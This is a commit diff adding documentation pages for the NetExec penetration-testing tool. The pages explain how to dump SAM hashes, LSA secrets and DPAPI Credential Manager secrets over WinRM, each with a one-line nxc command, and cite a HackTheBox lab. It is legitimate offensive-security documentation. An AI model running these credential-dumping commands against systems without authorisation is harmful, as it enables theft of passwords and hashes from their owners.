Add documentation for new winrm dpapi feature

SUMMARY.md

@@ -131,6 +131,10 @@
 * [Authentication](winrm-protocol/authentication.md)
 * [Command Execution](winrm-protocol/command-execution.md)
 * [Defeating LAPS](winrm-protocol/defeating-laps.md)
+* [Obtaining Credentials](winrm-protocol/obtaining-credentials/README.md)
+  * [Dump SAM](winrm-protocol/obtaining-credentials/dump-sam.md)
+  * [Dump LSA](winrm-protocol/obtaining-credentials/dump-lsa.md)
+  * [🆕 Dump DPAPI](winrm-protocol/obtaining-credentials/dump-dpapi.md)
 
 ## MSSQL protocol
 

winrm-protocol/obtaining-credentials/README.md

@@ -0,0 +1,16 @@
+# Obtaining Credentials
+
+The following examples use a username and plaintext password, although user/hash combos work as well.
+
+{% content-ref url="dump-sam.md" %}
+[dump-sam.md](dump-sam.md)
+{% endcontent-ref %}
+
+{% content-ref url="dump-lsa.md" %}
+[dump-lsa.md](dump-lsa.md)
+{% endcontent-ref %}
+
+{% content-ref url="dump-dpapi.md" %}
+[dump-dpapi.md](dump-dpapi.md)
+{% endcontent-ref %}
+

winrm-protocol/obtaining-credentials/dump-dpapi.md

@@ -0,0 +1,17 @@
+---
+description: Dump DPAPI credentials using NetExec
+---
+
+# 🆕 Dump DPAPI
+
+You can dump Credential Manager secrets for the connecting user with the following option: `--dpapi`.
+Admin rights not needed.
+
+```bash
+nxc winrm <ip> -u user -p password --dpapi
+```
+### Example
+
+The Puppy machine on HackTheBox is a good example of this technique
+
+{% embed url="https://www.hackthebox.com/machines/puppy" %}

winrm-protocol/obtaining-credentials/dump-lsa.md

@@ -0,0 +1,13 @@
+# Dump LSA
+
+### Dump LSA secrets 
+Extracts and downloads SECURITY registry hive, and uses secretsdump.py methods locally to dump secrets
+
+{% hint style="danger" %}
+Requires Domain Admin or Local Admin Priviledges on target Domain Controller
+{% endhint %}
+
+```bash
+nxc winrm 192.168.1.0/24 -u UserName -p 'PASSWORDHERE' --lsa
+```
+

winrm-protocol/obtaining-credentials/dump-sam.md

@@ -0,0 +1,13 @@
+# Dump SAM
+
+### Dump SAM hashes
+Extracts and downloads SAM registry hive, and uses secretsdump.py methods locally to dump hashes
+
+{% hint style="warning" %}
+You need at least local admin privilege on the remote target, use option **--local-auth** if your user is a local account
+{% endhint %}
+
+```bash
+nxc winrm 192.168.1.0/24 -u UserName -p 'PASSWORDHERE' --sam
+```
+